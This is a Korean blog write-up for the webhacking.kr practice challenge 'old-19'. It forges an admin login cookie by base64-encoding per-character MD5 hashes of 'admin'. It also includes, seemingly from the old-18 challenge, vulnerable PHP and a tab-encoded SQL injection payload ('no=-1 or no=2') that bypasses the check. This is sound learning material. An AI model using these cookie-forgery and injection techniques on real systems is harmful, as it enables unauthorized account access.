write-up(web)/webhacking.kr

[Webhacking.kr] old-19

chanchand 2023. 11. 2. 15:53
반응형

문제풀이


 

admin을 입력하고 submit을 누르면 오른쪽과 같이 화면이 출력된다.

 

guest를 입력하고 제출하면 아래와 같이 로그인이 되고, 쿠키가 설정된다.

 

YjJmNWZmNDc0MzY2NzFiNmU1MzNkOGRjMzYxNDg0NWQ3Yjc3NGVmZmU0YTM0OWM2ZGQ4MmFkNGY0ZjIxZDM0Y2UxNjcxNzk3YzUyZTE1Zjc2MzM4MGI0NWU4NDFlYzMyMDNjN2MwYWNlMzk1ZDgwMTgyZGIwN2FlMmMzMGYwMzRlMzU4ZWZhNDg5ZjU4MDYyZjEwZGQ3MzE2YjY1NjQ5ZQ%3D%3D

 

문자열의 맨 뒤에 %3D%3D(==)가 설정된 것을 보아 base64로 인코딩 되어 있는 것 같다.

 

base64 디코딩 하면 아래와 같은 문자열이 나온다.

아래 문자열을 32자 단위로 끊어 md5 디코딩 해보면 각각 'g', 'u', 'e', 's', 't'가 나온다.

b2f5ff47436671b6e533d8dc3614845d7b774effe4a349c6dd82ad4f4f21d34ce1671797c52e15f763380b45e841ec3203c7c0ace395d80182db07ae2c30f034e358efa489f58062f10dd7316b65649e

 

'admin' 문자열을 한 문자씩 md5 인코딩 후, 합쳐 base64 인코딩하면 된다.

마지막으로 url encoding을 해주어야 한다.

a : 0cc175b9c0f1b6a831c399e269772661

d : 8277e0910d750195b448797616e091ad

m : 6f8f57715090da2632453988d9a1501b

i : 865c0c0b4ab0e063e5caa3387c1a8741

n : 7b8b965ad4bca0e41ab51de7b31363a1

 

MGNjMTc1YjljMGYxYjZhODMxYzM5OWUyNjk3NzI2NjE4Mjc3ZTA5MTBkNzUwMTk1YjQ0ODc5NzYxNmUwOTFhZDZmOGY1NzcxNTA5MGRhMjYzMjQ1Mzk4OGQ5YTE1MDFiODY1YzBjMGI0YWIwZTA2M2U1Y2FhMzM4N2MxYTg3NDE3YjhiOTY1YWQ0YmNhMGU0MWFiNTFkZTdiMzEzNjNhMQ%3D%3D

 

 

 

 

- tool

 

base64 encoding

 

Base64 Encode and Decode - Online

Encode to Base64 format or decode from it with various advanced options. Our site has an easy to use online tool to convert your data.

www.base64encode.org

 

base64 decoding

 

Base64 Decode and Encode - Online

Decode from Base64 format or encode into it with various advanced options. Our site has an easy to use online tool to convert your data.

www.base64decode.org

 

md5 encoding

 

MD5 Hash Generator

A tool for creating an MD5 hash from a string. Use this fast, free tool to create an MD5 hash from a string.

www.md5hashgenerator.com

 

md5 decoding

 

MD5 hash decrypter / decoder: Reverse lookup MD5 hashes online with this tool

Tools to decode / decrypt / reverse lookup MD5 hashes This tool searches multiple MD5 rainbow tables for matches to a large number of MD5 hashes. MD5 is a hashing algorithm and therefore is technically not encryption, but hashes can be resolved and reverse

md5.web-max.ca

 

 

문제풀이


ad

  $result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2
  if($result['id']=="admin"){
    solve(18);
    echo "hi admin!";
  }

 

 

위의 주석에서 볼 수 있듯이 admin의 no는 2이다.

select id from chall18 where id='guest' and no=-1 or no=2

 

id = 'guest' and no = -1 -> false

no = 2 -> true

no = 2인 id, admin이 출력된다.

 

/?no=-1%09or%09no=2

 

반응형

'write-up(web) > webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-21  (0) 2023.11.02
[Webhacking.kr] old-20  (0) 2023.11.02
[Webhacking.kr] old-18  (0) 2023.11.02
[Webhacking.kr] old-13  (0) 2023.10.18
[Webhacking.kr] old-12  (0) 2023.10.17